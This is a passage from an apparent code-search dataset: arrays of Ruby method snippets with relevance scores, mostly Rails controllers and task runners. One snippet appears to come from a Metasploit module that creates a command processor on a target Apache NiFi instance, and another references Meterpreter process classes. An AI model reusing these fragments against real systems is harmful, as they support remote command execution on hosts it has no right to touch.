"def prepare_task\n end",
"def create_transaction_data(process, money, parameters)\n url = make_url('EntryTran')\n\n data = {}\n data[:Version] = '105'\n data[:ShopID] = @options[:login]\n data[:ShopPass] = @options[:password]\n data[:OrderID] = parameters[:OrderID]\n data[:JobCd] = process\n data[:Amount] = amount(money)\n data[:Tax] = '0'\n\n [url, data.to_query]\n end",
"def process\n raise NotImplementedError\n end",
"def process\n raise NotImplementedError\n end",
"def create_process_def(process_def)\n doValidation(process_def)\n #@jtodoIMP handle when pass with ot without /\n post(process_def, self.create_process_uri)\n end",
"def execute(command_line)\n #the first part of command_line is stored in command and the second is is rest\n command, rest = command_line.split(/ /, 2)\n case command\n when 'show' #display tasks by projects and all the properties of each task\n show\n when 'add' #add a new task or project, btw..A project can contain many tasks\n add rest\n when 'check' #mark the task entered as checked\n check rest\n when 'uncheck' #mark the task entered as unchecked\n uncheck rest\n when 'help' #check the existing commands and there format\n help\n when 'deadline' # adding the ability to precise a deadline for a task already existing, syntax: deadline id_task date_deadline\n deadline rest\n when 'today' # adding the ability to display all tasks which deadline is today\n today\n when 'delete' #adding the ability to delete a task, syntax: delete id_task\n delete rest\n when 'view' #displays tasks by date or deadline or project depending on input, syntax: view by date||view by deadline||view by project\n view rest\n else\n error command\n end\n end",
"def execute_mapped_resource_automation\n begin\n\n # pass along pagination controls\n page = params[:page].to_i\n per_page = params[:per_page].to_i\n offset = page * per_page\n\n # set up a dummy step\n step = Step.new\n\n # since this is a member url we should have the id in the url or throw a 404\n external_script = Script.find(params[:id])\n\n # cache the plan involved for later assignment to selected tickets\n plan = Plan.find(params[:plan_id]) if params[:plan_id].present?\n\n # prepare an argument hash\n argument_hash = {}\n\n # cycle through the form variables to see what has been set, ignoring blank values\n params[:argument].each do |key, value|\n argument_name = ScriptArgument.find(key).argument\n # guarantee that all values are an array\n value = Array(value)\n # select box values are coming through as single element arrays\n if value.length < 2\n argument_hash[argument_name] = value[0] unless value.blank? || value[0].blank?\n else\n # CHKME: Does AO allow arrays of values from a multi-select?\n argument_hash[argument_name] = value\n end\n end\n\n # Execute and fetch the resource automation output\n external_script_output = view_context.execute_automation_internal(step, external_script, argument_hash, nil, offset, per_page)\n\n # for testing purposes construct the hash here\n # external_script_output = {\n # :perPage => 5,\n # :totalItems => 100,\n # :data =>\n # [\n # [\"ra_uniq_identifier\",\"Foreign Id\",\"Name\",\"Ticket Type\", \"Status\", \"Status Label\", \"Extended Attributes\"],\n # [\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\"]\n # ]\n # }\n query_name = \"#{external_script.project_server.name}: #{external_script.name}: #{Time.now.to_s(:short_audit)}\"\n # now is a good time -- with a successful run we hope -- to save this query for later recall\n @query = plan.queries.create( :project_server => external_script.project_server,\n :name => query_name,\n :script => external_script,\n :user => User.current_user )\n # if that was successful, go ahead and add the arguments to the query details\n if @query\n argument_hash.each do |key, value|\n # FIXME: Type in schema for conjunction <> conjuction\n @query.query_details.create(:query_element => key, :query_criteria => \"=\", :query_term => value, :conjuction => 'AND')\n end\n end\n # cache the new saved queries so we can update the menu with this latest run\n # now see if there are any past queries\n saved_queries = plan.queries.where(:last_run_by => User.current_user.try(:id)).order('created_at DESC').limit(25)\n\n # send all this data to a js partial that will reload items as needed\n render :partial => 'shared_scripts/execute_mapped_resource_automation',\n :locals => { :external_script_output => external_script_output,\n :project_server_id => external_script.integration_id,\n :plan => plan, :saved_queries => saved_queries }\n rescue Exception => err\n log_automation_errors(step, err, external_script_output)\n render :text => ApplicationController.helpers.options_for_select([['N.A', '']])\n end\n end",
"def process\n return @args[:process]\n end",
"def process_command_file\n gather_command\n create_command_structure\n end",
"def prepare_params_for_view\n # parameters used when render views \n @project = Project.new(@project_params)\n @tasks = []\n @tasks_params.each do |i, task_params|\n @tasks << Task.new(task_params)\n end\n end",
"def process(options); end",
"def create\n @cpm_process = CpmProcess.new(cpm_process_params)\n\n respond_to do |format|\n if @cpm_process.save\n format.html { redirect_to @cpm_process, notice: 'Cpm process was successfully created.' }\n format.json { render :show, status: :created, location: @cpm_process }\n else\n format.html { render :new }\n format.json { render json: @cpm_process.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n project_dir = Pathname.new(APP_CONFIG[:user_data_dir]) + @project.user.id.to_s + @project.key \n \n @req = Req.new(req_params)\n @req.project_id = @project.id\n \n @h_env = JSON.parse(@project.version.env_json)\n @std_method = @req.std_method\n @step = @req.step\n \n @h_attrs = {}\n @h_errors = {}\n \n if @std_method and @step\n\n # ## cell_filtering\n # \n # if @step.id == 9\n # ## write list of filtered cells\n # filepath = project_dir + 'filtered_out_cells.txt'\n # File.open(filepath, 'w') do |f|\n # f.write(params[:req][:all_filtered])\n # end\n # end\n\n h_global_params = JSON.parse(@step.method_attrs_json)\n \n @h_attrs = JSON.parse(@std_method.attrs_json)\n ## complement attributes with global parameters - defined at the level of the step \n \n h_global_params.each_key do |k|\n @h_attrs[k]={}\n h_global_params[k].each_key do |k2|\n @h_attrs[k][k2] = h_global_params[k][k2]\n end\n end\n\n # ### apply write_in_file\n # @h_attrs.each_key do |k|\n # if filename = @h_attrs[k]['write_in_file']\n # filepath = project_dir + filename\n # File.open(filepath, 'w') do |f|\n # f.write(params[:attrs][k])\n # end\n # end\n # end\n end\n \n tmp_attrs = params[:attrs]\n\n if tmp_attrs\n tmp_attrs.each_pair do |k, v|\n if @h_attrs[k] and @h_attrs[k]['req_data_structure'] and [\"array\", \"hash\"].include? @h_attrs[k]['req_data_structure']\n tmp_attrs[k] = JSON.parse(v) #Basic.safe_parse_json(v, nil)\n end\n end\n end\n @req.attrs_json = (tmp_attrs) ? tmp_attrs.to_json : \"{}\"\n @req.user_id = (current_user) ? current_user.id : 1\n\n \n\n respond_to do |format|\n if @req.save\n\n create_runs()\n errors_txt = nil\n list_errors = []\n if @h_errors[:already_existing]\n list_errors.push(\"#{@h_errors[:already_existing]} configuration#{(@h_errors[:already_existing] > 1) ? 's' : ''} #{(@h_errors[:already_existing] > 1) ? 'were' : 'was'} already launched, #{(@h_errors[:already_existing] > 1) ? 'they were' : 'it was'} not added.\")\n end\n if list_errors.size > 0\n errors_txt = list_errors.join(\" \")\n end\n \n format.json { render :json => {:status => 'success', :errors => errors_txt}}\n # format.html { redirect_to @req, notice: 'Req was successfully created.' }\n # format.json { render :show, status: :created, location: @req }\n else\n format.json { render :json => {:status => 'failed', :log => tmp_attrs.to_json}}\n # format.html { render :new }\n # format.json { render json: @req.errors, status: :unprocessable_entity }\n end\n end\n end",
"def process\n self.generate\n end",
"def variables\n {\n 'input' => {\n 'intentId' => intent_id,\n 'environmentName' => @app_env,\n 'cron' => @cron,\n 'taskName' => @task.class.name,\n 'programmingLanguage' => 'RUBY',\n 'properties' => @serializer.encode(@properties.from(@task))\n }\n }\n end",
"def create\n seperator = '###PROMPT###'\n\n organization = 'user1'\n hostname = processing_log_params[:hostname]\n os_version = '15.0.3'\n\n log = Log.find(processing_log_params[:log_id])\n parsed_log = log.content.gsub(/^\\[.*[0-9][0-9]:[0-9][0-9]:[0-9][0-9]\\..*201[7|8|9]\\] /, \"\")\n .gsub(/^\\s*RP\\/.*:#{hostname}#\\s*/, seperator) # プロンプトごとにセパレータを付与。プロンプト内のホスト名は残さない(cisco_logedit.rbの踏襲))\n .gsub(/^(-+\\s*show running-config[^-]+.*-+)$/, seperator + '\\1') # system.tech 内の show running-config コマンドを分割ポイントとする('---(コマンド)---' となっている)\n .gsub(/^(\\-{3,}\\s*[^\\[\\]-]+\\[[^\\[\\]]+\\]\\s*\\-{3,})$/, '') # showtechファイル内のコマンド終了行は不要なので削除\n .gsub(/^(\\+{3,}\\s*[^\\[\\]+]+\\[[^\\[\\]]+\\]\\s*\\+{3,})$/, seperator + '\\1') # showtechファイル内のコマンド開始行ごとにセパレータを付与。開始行は残す(cisco_logedit.rbの踏襲)\n .split(seperator)\n\n cmd_logs = parsed_log.inject([]) do |cmd_logs, cmd|\n result = cmd.lines\n command_name = remove_prompt(result.first&.chomp, hostname)&.gsub(/\\s*$/, '')\n\n # コマンドが空であれば無効な行としてスルー\n next cmd_logs if command_name.blank?\n\n cmd_logs << {\n name: command_name,\n name_without_pipe: command_name.split('|').first.gsub(/\\s*$/, ''),\n result: result.join\n }\n end\n\n plugins = PluginLoader.instance.plugins\n cmd_logs.each do |cmd_log|\n appliers = plugins.select {|p| p.apply_to?(key: organization, cmd_name: cmd_log[:name], os_version: os_version) }\n\n appliers.each do |p|\n cmd_log[:result] = p.process_something(cmd_log[:result])\n end\n end\n new_content = cmd_logs.map {|cmd_log| cmd_log[:result]}.join\n\n processed_log = ProcessedLog.new(log: log, content: new_content)\n if processed_log.save\n redirect_to processed_log_path(processed_log), notice: 'ProcessedLog was successfully created.'\n else\n render :new\n end\n end",
"def summarize()\n fields.each do |name, metric|\n params = {}\n params[:service] = \"process;#{pid};#{name}\"\n params[:description] = name\n params[:pname] = comm\n if name == \"State\"\n params[:state] = riemann_statemap(metric)\n params[:value] = metric\n # elsif name.end_with?(\"time\")\n # params[:metric] = time_of(name)\n elsif metric.is_a?(Numeric)\n params[:metric] = metric\n else\n params[:value] = metric\n end\n yield(params)\n end\n end",
"def process_params(opts)\n opts = opts.dup\n check_exclusivity(opts.keys, ['template_body', 'template_url'])\n check_exclusivity(opts.keys, ['disable_rollback', 'on_failure'])\n check_exclusivity(opts.keys, ['stack_policy_body', 'stack_policy_url'])\n check_exclusivity(opts.keys, ['parameters', 'parameters_file'])\n\n sync_stdout = consume_option(opts, 'sync_stdout')\n $stdout.sync = sync_stdout\n\n opts['template_body'] = file_or_content(opts['template_body']) if opts['template_body']\n opts['tags'] = process_stack_tags(opts['tags']) if opts['tags']\n opts['stack_policy_body'] = file_or_content(opts['stack_policy_body']) if opts['stack_policy_body']\n opts['parameters'] = process_stack_parameters(opts['parameters']) if opts['parameters']\n opts['parameters'] = process_stack_parameters_file(consume_option(opts, 'parameters_file')) if opts['parameters_file']\n\n opts\n end",
"def process(*)\n end",
"def process!\n end",
"def task_mapping(type='HCA')\n case type\n when 'HCA'\n Hash[AnalysisMetadatum::HCA_TASK_INFO[self.version].zip(AnalysisMetadatum::FIRECLOUD_TASK_INFO[self.version])]\n when 'FireCloud'\n Hash[AnalysisMetadatum::FIRECLOUD_TASK_INFO[self.version].zip(AnalysisMetadatum::HCA_TASK_INFO[self.version])]\n else\n nil\n end\n end",
"def process\n self\n end",
"def set_process_map\n @process_map = ProcessMap.find(params[:id])\n end",
"def execute (task)\n\t\tif task['type'] === 'backend'\n\t\t\texec_vm_command(task)\n\t\telse\n\t\t\texec_sencha_command(task)\n\t\tend\n\tend",
"def produce_task_params\n params.require(:produce_task).permit(:order_id, :material_category_id, :material_type_id, :sequence, :area, :mix_task_id, :mix_status, :availability, :work)\n end",
"def create\n @processo = Processo.new(processo_params)\n\n if @processo.save\n render json: @processo, status: :created, location: @processo\n else\n render json: @processo.errors, status: :unprocessable_entity\n end\n end",
"def to_config\n \" PROCESSOR #{@name} #{self.class.name.to_s.class_name_to_filename} #{@item_name} #{@value_type}\\n\"\n end",
"def submit_protein(sequence,matrix)\n\n\n #clustalw2 specific params\n params = Hash.new\n\t params['email'] = 'dunarel@gmail.com'\n params['title'] = 'test_web_service'\n params['sequence'] = sequence\n #protein specific\n params['matrix'] = matrix\n \n \n #call base class\n return run_params(params)\n\n end",
"def create\n @process_module = ProcessModule.new(process_module_params)\n\n respond_to do |format|\n if @process_module.save\n format.html { redirect_to @process_module, notice: 'Process module was successfully created.' }\n format.json { render :show, status: :created, location: @process_module }\n else\n format.html { render :new }\n format.json { render json: @process_module.errors, status: :unprocessable_entity }\n end\n end\n end",
"def execute\n\n end",
"def prepare_job_descriptor(uuid, params)\n log_path = ScalarmFileName::sim_log(uuid)\n <<-eos\n Executable = \"#{job_script_file(uuid)}\";\n Arguments = \"#{uuid}\";\n StdOutput = \"#{log_path}\";\n StdError = \"#{log_path}\";\n OutputSandbox = {\"#{log_path}\"};\n InputSandbox = {\"#{job_script_file(uuid)}\", \"#{ScalarmFileName.tmp_sim_zip(uuid)}\"};\n Requirements = (other.GlueCEUniqueID == \"#{self.class.host_addresses[(params['plgrid_host'] or self.class.default_host)]}\");\n VirtualOrganisation = \"vo.plgrid.pl\";\n eos\n end",
"def execute\n end",
"def execute\n end",
"def prepare(opts)\n BawWorkers::Validation.check_custom_hash(opts, BawWorkers::Jobs::Analysis::Payload::OPTS_FIELDS)\n\n opts[:datetime_with_offset] = BawWorkers::Validation.normalise_datetime(opts[:datetime_with_offset])\n\n # create started file in output dir\n dir_output = create_output_dir(opts)\n started_file = File.join(dir_output, FILE_WORKER_STARTED)\n FileUtils.touch(started_file)\n\n # create run dir and info\n run_info = create_run_info(opts)\n\n dir_run = run_info[:dir_run]\n dir_run_temp = run_info[:dir_run_temp]\n\n # copy programs directory to run dir\n dir_run_programs = copy_programs(dir_run)\n\n command_opts = {\n file_source: get_file_source(opts),\n file_executable: get_file_executable(dir_run_programs, opts),\n dir_output: dir_output,\n file_config: create_config_file(dir_run, opts),\n dir_run: dir_run,\n dir_temp: dir_run_temp\n }\n\n # format command string\n BawWorkers::Validation.check_custom_hash(command_opts,\n BawWorkers::Jobs::Analysis::Payload::COMMAND_PLACEHOLDERS)\n BawWorkers::Jobs::Analysis::Runner.check_command_format(opts)\n command_opts[:command] = BawWorkers::Jobs::Analysis::Runner.format_command(opts, command_opts)\n\n # include path to worker log file\n command_opts[:file_run_log] = run_info[:file_run_log]\n\n command_opts\n end",
"def build(params); end",
"def process\n\t\tbrand(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Process)\n\tend",
"def user_tasks_info_params\n params.require(:user_tasks_info).permit(:task_name, :mqinfo, :stdout_rez, :work_status, :errors, :manager_log, :output)\n end",
"def create\n @processdef = Processdef.new(params[:processdef])\n\n respond_to do |format|\n if @processdef.save\n format.html { redirect_to @processdef, notice: 'Process was successfully created.' }\n format.json { render json: @processdef, status: :created, location: @processdef }\n else\n format.html { render action: \"new\" }\n format.json { render json: @processdef.errors, status: :unprocessable_entity }\n end\n end\n end",
"def process\n debug [self.name, \"processing\", params.inspect]\n\n case params.delete(:command).to_s\n when \"broadcast\" then broadcast\n when \"query\" then query\n else raise(InvalidQuery, \"unknown command\")\n end\n end",
"def execute; end",
"def execute; end",
"def process_params\n params.permit(\n :my_company_id, :name, :nit, :mision, :vision,\n \n :my_request_id, :my_request_title, :my_request_description, :my_request_objective, :my_request_observation, :my_request_web,\n :my_request_bd, :my_request_aplications, :my_request_proxy, :my_request_voip, :my_request_video_conference, :my_request_active_dir, :my_request_dhcp, :my_request_dns, :my_request_ftp,\n :my_request_email,\n \n #request_id: 3, height: 4, width: 3, large: 10, computers: 120, printers: 5, conference_hall: false,\n :fisico_1, :my_physical_height_1, :my_physical_width_1, :my_physical_large_1, :my_physical_computers_1, :my_physical_printers_1, :my_physical_conference_hall_1,\n :fisico_2, :my_physical_height_2, :my_physical_width_2, :my_physical_large_2, :my_physical_computers_2, :my_physical_printers_2, :my_physical_conference_hall_2,\n :fisico_3, :my_physical_height_3, :my_physical_width_3, :my_physical_large_3, :my_physical_computers_3, :my_physical_printers_3, :my_physical_conference_hall_3,\n :fisico_4, :my_physical_height_4, :my_physical_width_4, :my_physical_large_4, :my_physical_computers_4, :my_physical_printers_4, :my_physical_conference_hall_4,\n :fisico_5, :my_physical_height_5, :my_physical_width_5, :my_physical_large_5, :my_physical_computers_5, :my_physical_printers_5, :my_physical_conference_hall_5,\n :fisico_6, :my_physical_height_6, :my_physical_width_6, :my_physical_large_6, :my_physical_computers_6, :my_physical_printers_6, :my_physical_conference_hall_6,\n :fisico_7, :my_physical_height_7, :my_physical_width_7, :my_physical_large_7, :my_physical_computers_7, :my_physical_printers_7, :my_physical_conference_hall_7,\n :fisico_8, :my_physical_height_8, :my_physical_width_8, :my_physical_large_8, :my_physical_computers_8, :my_physical_printers_8, :my_physical_conference_hall_8,\n :fisico_9, :my_physical_height_9, :my_physical_width_9, :my_physical_large_9, :my_physical_computers_9, :my_physical_printers_9, :my_physical_conference_hall_9,\n :fisico_10, :my_physical_height_10, :my_physical_width_10, :my_physical_large_10, :my_physical_computers_10, :my_physical_printers_10, :my_physical_conference_hall_10,\n \n :my_logical_id, :my_logical_host1, :my_logical_host2, :my_logical_host3, :my_logical_host4, :my_logical_redundancy, :my_logical_scalability,\n \n :subnet_1, :my_subnet_name_1, :my_subnet_description_1, :my_subnet_computers_1,\n :subnet_2, :my_subnet_name_2, :my_subnet_description_2, :my_subnet_computers_2,\n :subnet_3, :my_subnet_name_3, :my_subnet_description_3, :my_subnet_computers_3,\n :subnet_4, :my_subnet_name_4, :my_subnet_description_4, :my_subnet_computers_4,\n :subnet_5, :my_subnet_name_5, :my_subnet_description_5, :my_subnet_computers_5,\n :subnet_6, :my_subnet_name_6, :my_subnet_description_6, :my_subnet_computers_6,\n :subnet_7, :my_subnet_name_7, :my_subnet_description_7, :my_subnet_computers_7,\n :subnet_8, :my_subnet_name_8, :my_subnet_description_8, :my_subnet_computers_8,\n :subnet_9, :my_subnet_name_9, :my_subnet_description_9, :my_subnet_computers_9,\n :subnet_10, :my_subnet_name_10, :my_subnet_description_10, :my_subnet_computers_10,\n \n :otra_solicitud,\n \n :mi_fisico_1,:mi_fisico_2,:mi_fisico_3,:mi_fisico_4,:mi_fisico_5,:mi_fisico_6,:mi_fisico_,:mi_fisico_9,:mi_fisico_10,\n :mi_subnet_1,:mi_subnet_2,:mi_subnet_3,:mi_subnet_4,:mi_subnet_5,:mi_subnet_6,:mi_subnet_,:mi_subnet_9,:mi_subnet_10,\n \n :mi_logical, :mi_company\n )\n end",
"def process_and_build_components \n end",
"def to_config\n \" PROCESSOR #{@name} #{self.class.name.to_s.class_name_to_filename} #{@item_names.join(' ')}\\n\"\n end",
"def to_process\n IONe.new($client, $db).AnsiblePlaybookToProcess(@body['id'], @params['hosts'], 'default', @params['vars'])\n end",
"def bpmn_perform(_variables)\n raise StandardError, \"Please define this method which takes a hash of variables and returns a hash of variables\"\n end",
"def create_command_processor(type, name)\n params = {\n :revision => {\n :clientId => \"\",\n :version => 0\n },\n :component => {\n :type => \"org.apache.nifi.processors.standard.#{type}\",\n :name => name,\n :position => {\n :x => 0,\n :y => 0\n }\n }\n }\n\n data_params = JSON.pretty_generate(params)\n\n processor = send_request_raw({\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore[\"NiFi-Path\"], '/process-groups/', $target_id, '/processors'),\n 'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },\n 'data' => data_params\n\n })\n end",
"def process_result\n end",
"def run!(parameters = {})\n self.parameters = parameters.symbolize_keys\n\n self.prepare\n\n self.build_mounting_point\n end",
"def subprocess_params\n params.require(:subprocess).permit(:order_id, :procedure_id, :standard_id, :day_id, :minutes, :setup_time, :start_date, :end_date, :meter, :sequence, :state,:quantity_finished)\n end",
"def build_output(**config)\n raise NotImplementedError\n end",
"def set_process_detail\n @process_detail = ProcessDetail.find(params[:id])\n end",
"def set_process_detail\n @process_detail = ProcessDetail.find(params[:id])\n end",
"def process(process_id, plan, data)\n message = data[:message] || data[\"message\"] \n data[:matches] = []\n data[:misses] = []\n \n match_words.each do |match_word|\n filter = case match_type\n when RulesEngine::Rule::<%=rule_name.camelize%>::MESSAGE_MATCH_ALL\n /^#{match_word}$/i\n when RulesEngine::Rule::<%=rule_name.camelize%>::MESSAGE_MATCH_WORD\n /\\b#{match_word}\\b/i\n when RulesEngine::Rule::<%=rule_name.camelize%>::MESSAGE_MATCH_BEGIN_WITH\n /^#{match_word}/i\n when RulesEngine::Rule::<%=rule_name.camelize%>::MESSAGE_MATCH_END_WITH\n /#{match_word}$/i\n end\n \n if filter =~ message\n RulesEngine::Process.auditor.audit(process_id, \"found #{match_word}\", RulesEngine::Process::AUDIT_INFO)\n data[:matches] << match_word\n else\n RulesEngine::Process.auditor.audit(process_id, \"missed #{match_word}\", RulesEngine::Process::AUDIT_INFO)\n data[:misses] << match_word\n end\n end\n \n unless data[:matches].empty?\n case workflow_action\n when 'stop_success'\n return RulesEngine::Rule::Outcome.new(RulesEngine::Rule::Outcome::STOP_SUCCESS)\n when 'stop_failure'\n return RulesEngine::Rule::Outcome.new(RulesEngine::Rule::Outcome::STOP_FAILURE)\n when 'start_workflow'\n return RulesEngine::Rule::Outcome.new(RulesEngine::Rule::Outcome::START_WORKFLOW, workflow_code)\n else #'next'\n return RulesEngine::Rule::Outcome.new(RulesEngine::Rule::Outcome::NEXT)\n end\n end\n \n RulesEngine::Rule::Outcome.new(RulesEngine::Rule::Outcome::NEXT)\n end",
"def initialize(process)\n\t\t\t\tsuper(IO.popen(process, Writeable))\n\t\t\tend"
] |
[
"0.6199854",
"0.5831206",
"0.56781065",
"0.56056726",
"0.559536",
"0.5579903",
"0.55633",
"0.5501661",
"0.5455252",
"0.54295295",
"0.53789735",
"0.5363057",
"0.53612",
"0.53405267",
"0.52914786",
"0.52861017",
"0.5270919",
"0.5262767",
"0.5258011",
"0.52524364",
"0.5244606",
"0.5232387",
"0.52204347",
"0.5219033",
"0.52074903",
"0.52064055",
"0.5204868",
"0.5202156",
"0.5181346",
"0.51777285",
"0.5173805",
"0.5173413",
"0.5172979",
"0.5160842",
"0.5159597",
"0.5157931",
"0.515108",
"0.51492995",
"0.51492995",
"0.51492995",
"0.51492995",
"0.51492995",
"0.51492995",
"0.51492995",
"0.51492995",
"0.5135765",
"0.512818",
"0.5126086",
"0.51255465",
"0.51255465",
"0.5121484",
"0.5120091",
"0.5109051",
"0.50903344",
"0.5058296",
"0.5053755",
"0.50440407",
"0.5043532",
"0.5036133",
"0.5026026",
"0.50119096",
"0.50072044",
"0.5001299",
"0.49907637",
"0.4989515",
"0.4987976",
"0.49808875",
"0.49769914",
"0.49762014",
"0.49699202",
"0.4969862",
"0.49678254",
"0.49598274",
"0.49575725",
"0.4950541",
"0.49487558",
"0.49417382",
"0.49146655",
"0.49146655",
"0.4908879",
"0.49088654",
"0.49068677",
"0.49004334",
"0.48959824",
"0.48953694",
"0.48911467",
"0.48911467",
"0.4890946",
"0.4888997",
"0.48880926",
"0.4887541",
"0.4887253",
"0.48829055",
"0.48810056",
"0.4879596",
"0.48767495",
"0.48765707",
"0.4868281",
"0.4868281",
"0.48682356",
"0.48663527"
] |
0.0
|
-1
|
The controller must return true to inform about the real deletion
|
def delete(sObjectType)
hParams = _get_object_params(sObjectType, :delete_e, :delete, true)
bState = @oProvider.delete(sObjectType, hParams)
@ObjectData.delete(sObjectType) if bState
bState
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete\n return false\n end",
"def delete\n\t\tfalse\n\tend",
"def destroy\n return false\n end",
"def deleted?\n end",
"def deleted?\n end",
"def destroy\n true\n end",
"def delete\n self.is_deleted = true\n save :validate => false\n true\n end",
"def destroy\n render json: @item.destroy ? success_delete_response : {success: false}\n end",
"def deleted?\n false\n end",
"def destroy?\n return false\n end",
"def destroy\n false\n end",
"def delete\n \n end",
"def destroy\n false\n end",
"def destroy\n false\n end",
"def destroy\n false\n end",
"def destroy\n false\n end",
"def destroy\n\n index_url = (request.referer.include?('backend_search')) ? request.referer : obj_index_url\n\n # check object can be removed by \"deletable\"\n if obj.respond_to?(:deletable) && obj.deletable == false\n respond_to do |format|\n redirect_back(format, index_url, CommonTranslation.not_deleted(obj))\n end and return\n end\n\n respond_to do |format|\n if obj.destroy\n redirect_back(format, index_url, CommonTranslation.deleted(obj))\n else\n redirect_back(format, index_url, CommonTranslation.not_deleted(obj))\n end\n end\n end",
"def deleted?\n @deleted == true\n end",
"def delete\n end",
"def handle_delete\n params.record.destroy do |result|\n alert 'unable to delete record' unless result\n end\n end",
"def delete\n\n end",
"def ok_to_delete?(id)\n true\n end",
"def destroy\n @task.update_attribute(:is_deleted, true)\n respond_to do |format|\n format.html { redirect_to tasks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n Break.end\n respond_to do |format|\n format.html { redirect_to admin_url }\n format.json { head :no_content }\n end\n end",
"def delete\n end",
"def delete\n supprimer = SondageService.instance.supprimerSondage(params[:id])\n (supprimer) ? (render json: true, status: :ok) : (render json: false, status: :not_found)\nend",
"def delete\n\n\tend",
"def deleted?\n deleted == true\n end",
"def deleted?\n deleted == true\n end",
"def delete\n render_error :not_implemented, 'Requested functionality is not implemented'\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def deleted?\n @deleted\n end",
"def destroy\n @client.in_trash = @client.in_trash == false\n @client.save\n\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'El cliente se eliminó correctamente.' }\n format.json { head :no_content }\n end\n end",
"def delete\n \n end",
"def really_delete\n Rank.only_deleted.find(params[:id]).really_destroy!\n\n respond_to do |format|\n format.html { redirect_to ranks_url, notice: 'Rank was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy?\n false\n end",
"def destroy?\n false\n end",
"def delete\n end",
"def delete\n supprimer = QuestionOuverteService.instance.supprimerQuestion(params[:id])\n (supprimer) ? (render json: true, status: :ok) : (render json: false, status: :not_found)\n end",
"def really_delete\n RankParticipant.only_deleted.find(params[:id]).really_destroy!\n\n respond_to do |format|\n format.html { redirect_to rank_participants_url, notice: 'RankParticipant was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n return @delete\n end",
"def deleted?\n @deleted\n end",
"def destroy\n delete_object\n true\n end",
"def respond_to_on_destroy\n head :ok\n end",
"def destroy\n if @resource.destroy\n respond_to do |format|\n format.html { respond_successfully(notification_message('delete_success'), send(\"backend_posts_path\")) }\n format.js { head :no_content }\n end\n else\n respond_to do |format|\n format.html do\n error_message = @resource.errors.full_messages.to_sentence\n flash[:error] = \"#{notification_message('delete_failure')} - #{error_message}\"\n\n redirect_to send(\"backend_posts_path\")\n end\n format.js { head :unprocessable_entity }\n end\n end\n end",
"def deleted\n @is_deleted = true\n end",
"def delete\n ret_val = error_if_exists('delete')\n super if ret_val\n return ret_val\n end",
"def delete\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def _delete\n marked_for_destruction?\n end",
"def deleted?\n status == :deleted\n end",
"def destroy\n respond_to do |format|\n if @check_route.destroy\n format.html { redirect_to action: :index }\n format.json { render :nothing => true, :status => :ok}\n else\n #TODO: better message for deletion failure\n format.html { redirect_to action: :index}\n format.json { render json: {:message=> e.to_s}.to_json, status: :internal_server_error }\n end\n end\n\n\n end",
"def destroy\n @task.destroy ? respond_with(@task) : false\n end",
"def destroy\n render status: 501, json: { errors: ['Action not implemented yet!'] }\n end",
"def destroy\n respond_to do |format|\n if @check_result.destroy\n format.html { redirect_to action: :index }\n format.json { render :nothing => true, :status => :ok}\n else\n #TODO: better message for deletion failure\n format.html { redirect_to action: :index}\n format.json { render json: {:message=> e.to_s}.to_json, status: :internal_server_error }\n end\n end\n\n\n end",
"def delete?\n state == STATE_DELETE\n end",
"def delete(obj)\n true\n end",
"def delete\n if @listing.destroy\n render nothing: true, status: :ok\n else\n render nothing: true, status: :bad_request\n end\n end",
"def destroy\n @sponsor.in_trash = @sponsor.in_trash == false\n @sponsor.save\n respond_to do |format|\n format.html { redirect_to sponsors_url, notice: 'El auspiciante se eliminó correctamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n render :nothing => true\n end",
"def destroy\n redirect_to :action => 'not_implemented', :status => 501\n end",
"def destroy\n @contrato.destroy\n authorize @contrato \n respond_to do |format|\n format.html { redirect_to contratos_url, notice: 'Contrato eliminado.' }\n format.json { head :no_content }\n end\n end",
"def delete\n # TODO: implement delete\n end",
"def destroy\n return super if deletable?\n\n puts_destroy_help\n\n false\n end",
"def deleted?\n return true if !@data and !@id\n return false\n end",
"def destroy\n @order.in_trash = @order.in_trash == false\n @order.save\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n #=begin\n # not using this because the requirement is to delete books and all associated info\n #check = Book.check_if_in_use(@book.id)\n #if check == false\n # respond_to do |format|\n # format.html { redirect_to books_url, notice: 'Book is in use, cannot be deleted' }\n # end\n #end\n #=end\n Book.delete(params[:id])\n respond_to do |format|\n format.html { redirect_to books_url, notice: 'Book was successfully deleted' }\n format.json { head :no_content }\n end\n end",
"def delete\n supprimer = AdministrateurService.instance.supprimerAdmin(params[:id])\n (supprimer) ? (render json: true, status: :ok) : (render json: false, status: :not_found)\n end",
"def destroy\n @employer.update(is_deleted: true)\n respond_to do |format|\n format.html { redirect_to employers_url, notice: EMPLOYER_DELETE }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo.destroy\n render json: [\"Deleted successfully.\"], status: :ok\n end",
"def destroy\n @tipo_lista = TipoLista.find(params[:id])\n if @tipo_lista.possui_funcionarios?\n mensagem=\"a lista #{@tipo_lista.nome} possui funcionários, não pode ser removida\"\n else\n @tipo_lista.destroy\n mensagem=\"O tipo #{@tipo_lista.nome} foi removida com sucesso!\"\n end\n respond_to do |format|\n format.html { redirect_to(tipo_listas_url,:alert => mensagem) }\n format.xml { head :ok }\n end\nend",
"def delete\n\t\t\t\"delete called - deleting object #{params[:id]}\"\n\t\tend",
"def delete!\n return if @deleted\n delete_page = @client.get @delete_url\n delete_form = delete_page.form_with(:action => /delete/i)\n delete_button = delete_form.button_with(:name => /delete/i)\n delete_form.submit delete_button\n @deleted = true\n end",
